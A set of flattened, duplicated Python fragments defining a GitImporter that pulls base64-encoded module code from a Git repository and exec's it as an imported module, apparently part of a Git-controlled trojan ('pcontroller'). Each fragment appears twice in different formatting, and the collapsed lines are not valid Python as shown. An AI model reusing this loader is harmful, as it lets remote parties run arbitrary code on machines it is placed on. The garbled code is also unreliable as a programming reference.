class GitImporter(object): def __init__(self): self.current_module_code = "" self.gitConnection = Git() def find_module(self, fullname, path=None): if pcontroller_constants.PCONFIGURED: print("[*] Attempting to retrieve %s" % fullname) new_library = self.gitConnection.get_file_contents("modules/%s" % fullname) if new_library is not None: self.current_module_code = base64.b64decode(new_library) return self return None def load_module(self, name): module = imp.new_module(name) exec(self.current_module_code, module.__dict__) sys.modules[name] = module return module
class GitImporter(object): def __init__(self): self.current_module_code = ""; self.gitConnection = Git(); def find_module(self, fullname, path=None): if pcontroller_constants.PCONFIGURED: print("[*] Attempting to retrieve %s" % fullname); new_library = self.gitConnection.get_file_contents("modules/%s" % fullname); if new_library is not None: self.current_module_code = base64.b64decode(new_library); return self; return None; def load_module(self, name): module = imp.new_module(name); exec(self.current_module_code, module.__dict__); sys.modules[name] = module; return module;
def __init__(self): self.current_module_code = "" self.gitConnection = Git()
def __init__(self): self.current_module_code = ""; self.gitConnection = Git();
def get_GitConnection(): gitConnection = Git(); gitConnection.import_modules(pcontroller_constants.PCONFIG); return gitConnection;
def get_GitConnection(): gitConnection = Git() gitConnection.import_modules(pcontroller_constants.PCONFIG) return gitConnection